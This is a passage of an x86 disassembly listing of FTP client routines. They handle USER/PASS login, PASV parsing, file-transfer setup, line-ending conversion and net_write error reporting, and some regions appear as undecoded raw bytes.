--------------------------------------------------------------------------- cmp eax, 0FFFFFFFFh jz short loc_42CF1A test eax, eax jg short loc_42CF51 mov eax, [esi+34h] mov ecx, [esi+38h] push eax push ecx push esi call dword ptr [esi+30h] mov edi, eax add esp, 0Ch test edi, edi jz short loc_42CF56 mov eax, [esp+11Ch+var_104] jmp short loc_42CEC0 ; --------------------------------------------------------------------------- loc_42CF1A: ; CODE XREF: sub_42CE80+79j push 100h xor edi, edi nop call near ptr 77C1F2BCh mov edx, [eax] push edx nop call near ptr 77C371FAh add esp, 4 push eax mov eax, [esi+1Ch] add eax, 44h push eax nop call near ptr 77C47A90h add esp, 0Ch mov eax, edi pop edi pop esi pop ebp pop ebx add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_42CF51: ; CODE XREF: sub_42CE80+7Dj mov edi, 1 loc_42CF56: ; CODE XREF: sub_42CE80+92j mov eax, edi pop edi pop esi pop ebp pop ebx add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_42CF63: ; CODE XREF: sub_42CE80+19j ; sub_42CE80+24j pop esi pop ebp mov eax, 1 pop ebx add esp, 10Ch retn sub_42CE80 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42CFC0: ; CODE XREF: ___:00401410j mov eax, [esp+4] xor ecx, ecx dec eax cmp eax, 4 ; switch 5 cases ja loc_42D06F ; default jmp off_42D074[eax*4] ; switch jump loc_42CFD7: ; DATA XREF: ___:off_42D074o mov eax, [esp+8] ; jumptable 0042CFD0 case 0 cmp eax, 1 jz short loc_42CFE9 cmp eax, 2 jnz loc_42D06F ; default loc_42CFE9: ; CODE XREF: ___:0042CFDEj mov ecx, [esp+0Ch] mov [ecx+24h], eax mov ecx, 1 mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42CFF8: ; CODE XREF: ___:0042CFD0j ; DATA XREF: ___:off_42D074o mov edx, [esp+0Ch] ; jumptable 0042CFD0 case 1 mov eax, [esp+8] mov ecx, 1 mov [edx+30h], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42D00B: ; CODE XREF: ___:0042CFD0j ; DATA XREF: ___:off_42D074o push esi ; jumptable 0042CFD0 case 2 mov esi, [esp+0Ch] mov eax, 10624DD3h push edi imul esi mov edi, [esp+14h] mov ecx, 1 sar edx, 6 mov eax, edx shr eax, 1Fh add edx, eax mov eax, esi mov [edi+28h], edx mov esi, 3E8h cdq idiv esi lea eax, [edx+edx*4] lea eax, [eax+eax*4] lea edx, [eax+eax*4] mov eax, ecx shl edx, 3 mov [edi+2Ch], edx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42D04C: ; CODE XREF: ___:0042CFD0j ; DATA XREF: ___:off_42D074o mov eax, [esp+0Ch] ; jumptable 0042CFD0 case 3 mov edx, [esp+8] mov ecx, 1 mov [eax+34h], edx mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42D05F: ; CODE XREF: ___:0042CFD0j ; DATA XREF: ___:off_42D074o mov eax, [esp+0Ch] ; jumptable 0042CFD0 case 4 mov edx, [esp+8] mov ecx, 1 mov [eax+3Ch], edx loc_42D06F: ; CODE XREF: ___:0042CFCAj ; ___:0042CFE3j mov eax, ecx ; default retn ; --------------------------------------------------------------------------- align 4 off_42D074 dd offset loc_42CFD7 ; DATA XREF: ___:0042CFD0r dd offset loc_42CFF8 ; jump table for switch statement dd offset loc_42D00B dd offset loc_42D04C dd offset loc_42D05F db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42D0D0 proc near ; CODE XREF: sub_402243j var_40 = byte ptr -40h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] sub esp, 40h or ecx, 0FFFFFFFFh xor eax, eax push ebx push esi push edi mov edi, edx repne scasb not ecx add ecx, 6 cmp ecx, 40h ja short loc_42D161 mov ebx, [esp+4Ch+arg_4] or ecx, 0FFFFFFFFh mov edi, ebx repne scasb not ecx add ecx, 6 cmp ecx, 40h ja short loc_42D161 mov edi, dword_50FA60 push edx lea eax, [esp+50h+var_40] push offset aUserS ; "USER %s" push eax call edi ; sprintf mov esi, [esp+58h+arg_8] lea ecx, [esp+58h+var_40] push esi push 33h push ecx call sub_42D1A0 add esp, 18h test eax, eax jnz short loc_42D13D mov cl, [esi+44h] pop edi cmp cl, 32h pop esi setz al pop ebx add esp, 40h retn ; --------------------------------------------------------------------------- loc_42D13D: ; CODE XREF: sub_42D0D0+5Bj push ebx lea edx, [esp+50h+var_40] push offset aPassS ; "PASS %s" push edx call edi ; sprintf push esi lea eax, [esp+5Ch+var_40] push 32h push eax call sub_42D1A0 add esp, 18h pop edi pop esi pop ebx add esp, 40h retn ; --------------------------------------------------------------------------- loc_42D161: ; CODE XREF: sub_42D0D0+1Bj ; sub_42D0D0+30j pop edi pop esi xor eax, eax pop ebx add esp, 40h retn sub_42D0D0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42D1A0 proc near ; CODE XREF: sub_42D0D0+51p ; sub_42D0D0+82p ... var_100 = byte ptr -100h arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch sub esp, 100h push ebx mov ebx, [esp+104h+arg_8] push esi push edi mov eax, [ebx+18h] test eax, eax jz short loc_42D1C3 pop edi pop esi xor eax, eax pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42D1C3: ; CODE XREF: sub_42D1A0+15j mov eax, dword_50E3DC mov esi, [esp+10Ch+arg_0] cmp eax, 2 jle short loc_42D1EC mov eax, dword_50FA84 push esi add eax, 40h push offset aS_0 ; "%s\n" push eax call near ptr 77C40E13h nop add esp, 0Ch loc_42D1EC: ; CODE XREF: sub_42D1A0+32j mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 2 cmp ecx, 100h jbe short loc_42D20C pop edi pop esi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42D20C: ; CODE XREF: sub_42D1A0+60j push esi lea ecx, [esp+110h+var_100] push offset dword_443CE4 push ecx nop call near ptr 77C3F931h lea edi, [esp+118h+var_100] or ecx, 0FFFFFFFFh xor eax, eax add esp, 0Ch repne scasb mov eax, [ebx+8] push 0 not ecx dec ecx lea edx, [esp+110h+var_100] push ecx push edx push eax call sub_436F00 sub_42D1A0 endp ; --------------------------------------------------------------------------- db 85h dd 681A7FC0h, 4454BCh, 9BA4E890h, 0C4837780h, 5FC03304h dd 0C4815B5Eh, 100h, 248C8BC3h, 114h, 0A5E85153h, 83FFFFF8h dd 5E5F08C4h, 0C4815Bh, 0C3000001h, 2 dup(90909090h), 10h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_42D2C0 proc near ; CODE XREF: sub_401F55j var_100 = dword ptr -100h var_FC = byte ptr -0FCh arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h sub esp, 100h push ebx push ebp push esi mov esi, [esp+10Ch+arg_0] push edi mov edi, [esp+110h+arg_4] test esi, esi jnz short loc_42D30C cmp edi, 4 jz short loc_42D2E6 cmp edi, 3 jnz short loc_42D30C loc_42D2E6: ; CODE XREF: sub_42D2C0+1Fj mov eax, [esp+110h+arg_C] push offset aMissingPathArg ; "Missing path argument for file transfer"... add eax, 44h push eax nop call near ptr 77C3F931h add esp, 8 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42D30C: ; CODE XREF: sub_42D2C0+1Aj ; sub_42D2C0+24j mov ecx, [esp+110h+arg_8] mov ebp, dword_50FA60 push ecx lea edx, [esp+114h+var_100] push offset dword_445504 push edx call ebp ; sprintf mov ebx, [esp+11Ch+arg_C] lea eax, [esp+11Ch+var_100] push ebx push 32h push eax call sub_42D1A0 add esp, 18h test eax, eax jz loc_42D4CE lea eax, [edi-1] ; switch 4 cases cmp eax, 3 ja loc_42D4BF ; default jmp off_42D4DC[eax*4] ; switch jump loc_42D358: ; DATA XREF: ___:off_42D4DCo mov ecx, dword_4454FC ; jumptable 0042D351 case 1 mov dl, byte_445500 mov [esp+110h+var_100], ecx mov [esp+110h+var_FC], dl mov ebp, 1 jmp short loc_42D3C0 ; --------------------------------------------------------------------------- loc_42D373: ; CODE XREF: sub_42D2C0+91j ; DATA XREF: ___:off_42D4DCo mov eax, dword_4454F4 ; jumptable 0042D351 case 2 mov cl, byte_4454F8 mov [esp+110h+var_100], eax mov [esp+110h+var_FC], cl mov ebp, 1 jmp short loc_42D3C0 ; --------------------------------------------------------------------------- loc_42D38D: ; CODE XREF: sub_42D2C0+91j ; DATA XREF: ___:off_42D4DCo mov edx, dword_4454EC ; jumptable 0042D351 case 3 mov al, byte_4454F0 mov [esp+110h+var_100], edx mov [esp+110h+var_FC], al mov ebp, 1 jmp short loc_42D3C0 ; --------------------------------------------------------------------------- loc_42D3A7: ; CODE XREF: sub_42D2C0+91j ; DATA XREF: ___:off_42D4DCo mov ecx, dword_4454E4 ; jumptable 0042D351 case 4 mov dl, byte_4454E8 mov [esp+110h+var_100], ecx mov [esp+110h+var_FC], dl mov ebp, 2 loc_42D3C0: ; CODE XREF: sub_42D2C0+B1j ; sub_42D2C0+CBj ... test esi, esi jz short loc_42D413 lea edi, [esp+110h+var_100] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov edi, esi mov edx, ecx or ecx, 0FFFFFFFFh mov byte ptr [esp+edx+110h+var_100], 20h inc edx repne scasb not ecx dec ecx add ecx, edx cmp ecx, 100h jnb loc_42D4CE mov edi, esi or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx lea edx, [esp+edx+110h+var_100] mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_42D413: ; CODE XREF: sub_42D2C0+102j mov ecx, [esp+110h+arg_8] mov esi, [esp+110h+arg_10] push ebp push ecx push esi push ebx call sub_42D580 add esp, 10h cmp eax, 0FFFFFFFFh jz loc_42D4CE push ebx lea edx, [esp+114h+var_100] push 31h push edx call sub_42D1A0 add esp, 0Ch test eax, eax jnz short loc_42D468 mov eax, [esi] push eax call sub_401BDB add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42D468: ; CODE XREF: sub_42D2C0+188j mov ecx, [esi] mov [ecx+1Ch], ebx mov eax, [ebx+24h] mov edx, [esi] cmp eax, 2 mov [ebx+20h], edx jnz short loc_42D4AF mov eax, [esi] push ebx push eax call sub_42DA60 ; --------------------------------------------------------------------------- add esp, 8 test eax, eax jnz short loc_42D4AF mov ecx, [esi] push ecx call sub_401BDB add esp, 4 mov dword ptr [esi], 0 mov dword ptr [ebx+20h], 0 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42D4AF: ; CODE XREF: sub_42D2C0+1B8j ; sub_42D2C0+1C8j pop edi pop esi pop ebp mov eax, 1 pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42D4BF: ; CODE XREF: sub_42D2C0+8Bj push edi ; default add ebx, 44h push offset aInvalidOpenTyp ; "Invalid open type %d\n" push ebx call ebp ; sprintf add esp, 0Ch loc_42D4CE: ; CODE XREF: sub_42D2C0+7Fj ; sub_42D2C0+12Cj ... pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 100h retn sub_42D2C0 endp ; --------------------------------------------------------------------------- align 4 off_42D4DC dd offset loc_42D358 ; DATA XREF: sub_42D2C0+91r dd offset loc_42D373 ; jump table for switch statement dd offset loc_42D38D dd offset loc_42D3A7 db 4 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42D580 proc near ; CODE XREF: sub_42D2C0+165p var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = word ptr -120h var_11E = word ptr -11Eh var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_114 = byte ptr -114h var_110 = byte ptr -110h var_10C = byte ptr -10Ch var_108 = byte ptr -108h var_104 = byte ptr -104h arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h sub esp, 134h push ebx mov ebx, [esp+138h+arg_0] push ebp push esi mov eax, [ebx+18h] xor ebp, ebp mov esi, 1 cmp eax, ebp push edi mov [esp+144h+var_120], bp mov [esp+144h+var_11E], bp mov [esp+144h+var_11C], esi jnz loc_42D8A4 mov eax, [esp+144h+arg_C] cmp eax, esi jz short loc_42D5E2 cmp eax, 2 jz short loc_42D5E2 push eax add ebx, 44h push offset aInvalidDirecti ; "Invalid direction %d\n" push ebx call near ptr 77C3F931h nop add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_42D5E2: ; CODE XREF: sub_42D580+3Aj ; sub_42D580+3Fj mov eax, [esp+144h+arg_8] cmp eax, 41h jz short loc_42D614 cmp eax, 49h jz short loc_42D614 push eax add ebx, 44h push offset aInvalidModeC ; "Invalid mode %c\n" push ebx call near ptr 77C3F931h nop add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_42D614: ; CODE XREF: sub_42D580+6Cj ; sub_42D580+71j mov eax, [ebx+24h] mov [esp+144h+var_124], 10h cmp eax, esi jnz loc_42D6F9 xor eax, eax push ebx mov [esp+148h+var_134], eax push 32h mov [esp+14Ch+var_130], eax push offset aPasv ; "PASV" mov [esp+150h+var_12C], eax mov word ptr [esp+150h+var_134], 2 mov [esp+150h+var_128], eax call sub_42D1A0 add esp, 0Ch test eax, eax jz loc_42D8A4 lea ecx, [ebx+44h] push 28h push ecx call near ptr 77C47660h nop add esp, 8 cmp eax, ebp jz loc_42D8A4 lea edx, [esp+144h+var_114] lea ecx, [esp+144h+var_118] push edx push ecx lea edx, [esp+14Ch+var_104] lea ecx, [esp+14Ch+var_108] push edx push ecx lea edx, [esp+154h+var_10C] lea ecx, [esp+154h+var_110] push edx push ecx inc eax push offset aUUUUUU ; "%u,%u,%u,%u,%u,%u" push eax nop call near ptr 77C41B72h mov dl, [esp+164h+var_110] mov al, [esp+164h+var_10C] mov cl, [esp+164h+var_108] mov byte ptr [esp+164h+var_130], dl mov dl, [esp+164h+var_104] mov byte ptr [esp+164h+var_130+1], al mov al, [esp+164h+var_118] mov byte ptr [esp+164h+var_130+2], cl mov cl, [esp+164h+var_114] add esp, 20h mov byte ptr [esp+144h+var_130+3], dl mov byte ptr [esp+144h+var_134+2], al mov byte ptr [esp+144h+var_134+3], cl push 6 push esi push 2 call sub_436F3C ; --------------------------------------------------------------------------- db 8Bh dd 0FFFF83F8h, 50684D75h, 90004454h, 809709E8h, 4C48377h dd 5E5FC70Bh, 0C4815B5Dh, 134h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_42D6F9: ; CODE XREF: sub_42D580+A1j mov ecx, [ebx+8] lea edx, [esp+144h+var_124] lea eax, [esp+144h+var_134] push edx push eax push ecx call sub_436F2A ; --------------------------------------------------------------------------- dd 0BD7DC085h, 44557068h, 0D7E89000h, 83778096h, 0C03304C4h dd 5B5D5E5Fh, 134C481h, 8DC30000h, 6A282454h, 46A5204h dd 0FFFF68h, 45E85700h, 83000098h, 0A75FFF8h, 44544068h dd 147E900h, 448D0000h, 46A2424h, 806850h, 0FF680000h dd 570000FFh, 981FE8h, 0FFF88300h, 40680A75h, 0E9004454h dd 121h, 75247339h, 244C8D20h, 51106A10h, 97BCE857h, 0F8830000h dd 0EC850FFFh, 68000000h, 445240h, 0FCE9h, 24548D00h, 52106A10h dd 6C896657h, 85E81E24h, 83000097h, 775FFF8h, 44556868h dd 5610EB00h, 9760E857h, 0C0850000h, 6068217Dh, 0E8004455h dd 77809626h, 4C48390h, 9730E857h, 5E5F0000h, 5BC0335Dh dd 134C481h, 8DC30000h, 8D202444h, 5010244Ch, 37E85751h dd 85000097h, 5F0D7DC0h, 0C0335D5Eh, 34C4815Bh, 0C3000001h dd 1324548Bh, 1224448Bh, 17244C8Bh, 0FFE281h, 0FF250000h dd 52000000h, 1A24548Bh, 0FFE181h, 8B500000h, 511D2444h dd 20244C8Bh, 0FFE281h, 0FF250000h, 52000000h, 0FFE181h dd 51500000h, 5C24548Dh, 44554468h, 0E8905200h, 778120DDh dd 24448D53h, 50326A68h, 0FFF93FE8h, 2CC483FFh, 1375C085h dd 9698E857h, 5E5F0000h, 5BC0335Dh, 134C481h, 68C30000h dd 144h, 3CE89056h, 8B777FE8h, 8C483F0h, 2275F53Bh, 44543868h dd 57E89000h, 83778095h, 0E85704C4h, 9662h ; --------------------------------------------------------------------------- loc_42D8A4: ; CODE XREF: sub_42D580+2Bj ; sub_42D580+D2j ... pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx add esp, 134h retn sub_42D580 endp ; --------------------------------------------------------------------------- dw 0BC83h dd 15024h, 41754100h, 200068h, 40E89000h, 83777FEBh, 0C53B04C4h dd 75144689h, 5438682Ch, 0E8900044h, 77809516h, 5704C483h dd 9621E8h, 30E85600h, 90777FE9h, 8304C483h, 5E5FFFC8h dd 0C4815B5Dh, 134h, 248C8BC3h, 154h, 89087E89h, 538B184Eh dd 28568928h, 892C438Bh, 4B8B2C46h, 344E8934h, 89284E8Bh dd 6E89386Eh, 3C438B40h, 4689CD3Bh, 390E753Ch, 9752C6Eh dd 575C53Bh, 0EB306E89h, 30538B06h, 8B305689h, 14C2484h dd 895F0000h, 0B85D5E30h, 1, 34C4815Bh, 0C3000001h, 90909090h dd 40h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42DA60 proc near ; CODE XREF: sub_42D2C0+1BEp var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 124h push ebx mov ebx, [esp+128h+arg_0] push ebp push esi mov esi, [esp+130h+arg_4] mov eax, [ebx+8] xor ebp, ebp push edi mov ecx, [esi+8] mov [esp+134h+var_FC], eax cmp ecx, eax mov [esp+134h+var_100], ecx mov [esp+134h+var_104], 2 mov [esp+134h+var_118], ebp mov [esp+134h+var_11C], 1Eh jge short loc_42DAA2 mov ecx, eax loc_42DAA2: ; CODE XREF: sub_42DA60+3Ej lea eax, [esp+134h+var_11C] lea edx, [esp+134h+var_104] push eax push ebp push ebp inc ecx push edx push ecx call sub_436F12 sub_42DA60 endp ; --------------------------------------------------------------------------- db 83h, 0F8h, 0FFh dd 683E75h, 0E8000001h, 777F17F8h, 50008B90h, 972CE890h dd 0C4837780h, 44C68304h, 0B5E85650h, 9077819Fh, 83084B8Bh dd 0E8510CC4h, 941Eh, 86B895Fh, 0C0335D5Eh, 24C4815Bh dd 0C3000001h, 2975C53Bh, 0B9447E8Dh, 8, 4455D0BEh, 0A4A5F300h dd 5208538Bh, 93F1E8h, 6B895F00h, 335D5E08h, 0C4815BC0h dd 124h, 84B8BC3h, 3024448Dh, 2DE85150h, 85000094h, 8B7A74C0h dd 548D084Bh, 448D1424h, 50522024h, 2444C751h, 1020h, 93BAE800h dd 0F88B0000h, 1762E890h, 108B777Fh, 5008438Bh, 14245489h dd 939DE8h, 7EFD3B00h, 87B8913h, 0B85D5E5Fh, 1, 24C4815Bh dd 0C3000001h, 10244C8Bh, 10068h, 0E8905100h, 7780966Ah dd 8304C483h, 565044C6h, 9EF2E890h, 0C4837781h, 86B890Ch dd 5E5FC033h, 0C4815B5Dh, 124h, 8468BC3h, 3024548Dh, 0A1E85052h dd 85000093h, 8B2474C0h, 0E851084Bh, 933Ah, 89326A56h dd 39E8086Bh, 83FFFFEFh, 0C03308C4h, 5B5D5E5Fh, 124C481h dd 8BC30000h, 5F102444h, 815B5D5Eh, 124C4h, 9090C300h dd 2 dup(90909090h), 1Ch dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_42DC70 proc near ; CODE XREF: sub_402248j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi cmp dword ptr [esi+18h], 1 jz short loc_42DC81 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42DC81: ; CODE XREF: sub_42DC70+Aj mov eax, [esi+14h] push esi test eax, eax jz short loc_42DC9D mov eax, [esp+0Ch+arg_4] mov ecx, [esp+0Ch+arg_0] push eax push ecx call sub_42CC50 add esp, 0Ch jmp short loc_42DCC4 ; --------------------------------------------------------------------------- loc_42DC9D: ; CODE XREF: sub_42DC70+17j call sub_42CE80 add esp, 4 cmp eax, 1 jz short loc_42DCAF pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42DCAF: ; CODE XREF: sub_42DC70+38j mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] mov ecx, [esi+8] push 0 push edx push eax push ecx call sub_436EFA ; --------------------------------------------------------------------------- loc_42DCC4: ; CODE XREF: sub_42DC70+2Bj mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_42DCD0 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42DCD0: ; CODE XREF: sub_42DC70+59j mov ecx, [esi+38h] add ecx, edi mov [esi+38h], ecx mov edx, ecx mov ecx, [esi+30h] test ecx, ecx jz short loc_42DD0F mov eax, [esi+3Ch] test eax, eax jz short loc_42DD0F push ebx mov ebx, [esi+40h] add ebx, edi mov [esi+40h], ebx cmp ebx, eax pop ebx jle short loc_42DD0F mov eax, [esi+34h] push eax push edx push esi call ecx add esp, 0Ch test eax, eax jnz short loc_42DD08 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42DD08: ; CODE XREF: sub_42DC70+93j mov dword ptr [esi+40h], 0 loc_42DD0F: ; CODE XREF: sub_42DC70+6Fj ; sub_42DC70+76j ... mov eax, edi pop edi pop esi retn sub_42DC70 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42DD50 proc near ; CODE XREF: sub_4021F3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi cmp dword ptr [esi+18h], 2 jz short loc_42DD61 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42DD61: ; CODE XREF: sub_42DD50+Aj mov eax, [esi+14h] push esi test eax, eax jz short loc_42DD7D mov eax, [esp+0Ch+arg_4] mov ecx, [esp+0Ch+arg_0] push eax push ecx call sub_42DE20 add esp, 0Ch jmp short loc_42DD9A ; --------------------------------------------------------------------------- loc_42DD7D: ; CODE XREF: sub_42DD50+17j call sub_42CE80 mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] mov ecx, [esi+8] add esp, 4 push 0 push edx push eax push ecx call sub_436F00 ; --------------------------------------------------------------------------- loc_42DD9A: ; CODE XREF: sub_42DD50+2Bj mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_42DDA6 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42DDA6: ; CODE XREF: sub_42DD50+4Fj mov edx, [esi+38h] mov eax, [esi+30h] add edx, edi test eax, eax mov [esi+38h], edx jz short loc_42DDDC mov ecx, [esi+3Ch] test ecx, ecx jz short loc_42DDDC push ebx mov ebx, [esi+40h] add ebx, edi mov [esi+40h], ebx cmp ebx, ecx pop ebx jle short loc_42DDDC mov ecx, [esi+34h] push ecx push edx push esi call eax add esp, 0Ch mov dword ptr [esi+40h], 0 loc_42DDDC: ; CODE XREF: sub_42DD50+63j ; sub_42DD50+6Aj ... mov eax, edi pop edi pop esi retn sub_42DD50 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42DE20 proc near ; CODE XREF: sub_42DD50+23p ; sub_42DFD0+28p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_8] push esi xor esi, esi xor al, al mov ecx, [ebp+18h] push edi cmp ecx, 2 jz short loc_42DE3C pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx retn ; --------------------------------------------------------------------------- loc_42DE3C: ; CODE XREF: sub_42DE20+12j mov ecx, [esp+10h+arg_4] mov edi, [ebp+14h] xor ebx, ebx test ecx, ecx jle loc_42DF64 loc_42DE4D: ; CODE XREF: sub_42DE20+AFj mov ecx, [esp+10h+arg_0] cmp byte ptr [ebx+ecx], 0Ah jnz short loc_42DE8E cmp al, 0Dh jz short loc_42DE8E cmp esi, 2000h jnz short loc_42DE89 push ebp call sub_42CE80 add esp, 4 test eax, eax jz short loc_42DEEA mov edx, [ebp+8] push 0 push esi push edi push edx call sub_436F00 ; --------------------------------------------------------------------------- mov esi, eax cmp esi, 2000h jnz short loc_42DEF1 xor esi, esi loc_42DE89: ; CODE XREF: sub_42DE20+41j mov byte ptr [edi+esi], 0Dh inc esi loc_42DE8E: ; CODE XREF: sub_42DE20+35j ; sub_42DE20+39j cmp esi, 2000h jnz short loc_42DEBC push ebp call sub_42CE80 add esp, 4 test eax, eax jz short loc_42DEEA mov eax, [ebp+8] push 0 push esi push edi push eax call sub_436F00 ; --------------------------------------------------------------------------- mov esi, eax cmp esi, 2000h jnz short loc_42DF11 xor esi, esi loc_42DEBC: ; CODE XREF: sub_42DE20+74j mov ecx, [esp+10h+arg_0] inc esi mov al, [ebx+ecx] mov ecx, [esp+10h+arg_4] mov [edi+esi-1], al inc ebx cmp ebx, ecx jl loc_42DE4D test esi, esi jz loc_42DF64 push ebp call sub_42CE80 add esp, 4 test eax, eax jnz short loc_42DF31 loc_42DEEA: ; CODE XREF: sub_42DE20+4Ej ; sub_42DE20+81j pop edi pop esi mov eax, ebx pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42DEF1: ; CODE XREF: sub_42DE20+65j nop call near ptr 77C1F2BCh mov edx, [eax] push edx push esi push offset aNet_write1Retu ; "net_write(1) returned %d, errno = %d\n" nop call near ptr 77C4186Ah add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42DF11: ; CODE XREF: sub_42DE20+98j nop call near ptr 77C1F2BCh mov eax, [eax] push eax push esi push offset aNet_write2Retu ; "net_write(2) returned %d, errno = %d\n" nop call near ptr 77C4186Ah add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42DF31: ; CODE XREF: sub_42DE20+C8j mov ecx, [ebp+8] push 0 push esi push edi push ecx call sub_436F00 ; --------------------------------------------------------------------------- dw 0F88Bh dd 2074FE3Bh, 1372E890h, 108B777Fh, 0F8685752h, 0E8004455h dd 77813912h, 0CC48390h, 5FFFC883h, 0C35B5D5Eh ; --------------------------------------------------------------------------- loc_42DF64: ; CODE XREF: sub_42DE20+27j ; sub_42DE20+B7j mov eax, [esp+10h+arg_4] pop edi pop esi pop ebp pop ebx retn sub_42DE20 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42DFD0 proc near ; CODE XREF: sub_401BDBj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi mov eax, [esi+18h] sub eax, 0 jz short loc_42E04B dec eax jz short loc_42E000 dec eax jz short loc_42DFEC loc_42DFE4: ; CODE XREF: sub_42DFD0+64j pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- loc_42DFEC: ; CODE XREF: sub_42DFD0+12j mov eax, [esi+14h] test eax, eax jz short loc_42E000 push esi push 0 push 0 call sub_42DE20 add esp, 0Ch loc_42E000: ; CODE XREF: sub_42DFD0+Fj ; sub_42DFD0+21j mov eax, [esi+14h] push ebx mov ebx, dword_50FAC4 test eax, eax jz short loc_42E014 push eax call ebx ; free add esp, 4 loc_42E014: ; CODE XREF: sub_42DFD0+3Cj mov eax, [esi+8] push 2 push eax call sub_436F9C ; --------------------------------------------------------------------------- mov ecx, [esi+8] push ecx call sub_436F06 ; --------------------------------------------------------------------------- mov edi, [esi+1Ch] push esi call ebx ; free add esp, 4 test edi, edi pop ebx jz short loc_42DFE4 push edi push 32h mov dword ptr [edi+20h], 0 call sub_42CB10 add esp, 8 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42E04B: ; CODE XREF: sub_42DFD0+Cj mov eax, [esi+20h] test eax, eax jz short loc_42E062 push esi mov dword ptr [esi+1Ch], 0 call sub_401BDB add esp, 4 loc_42E062: ; CODE XREF: sub_42DFD0+80j mov edx, [esi+8] push edx call sub_436F06 sub_42DFD0 endp ; --------------------------------------------------------------------------- db 56h db 90h db 0E8h, 0A9h, 0E1h ; --------------------------------------------------------------------------- jg short loc_42E0E9 add esp, 4 xor eax, eax pop edi pop esi retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E0B0: ; CODE XREF: ___:00401CE4j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 6 pop edi cmp ecx, 100h jbe short loc_42E0D9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E0D9: ; CODE XREF: ___:0042E0D0j push edx lea eax, [esp+4] push offset aSiteS ; "SITE 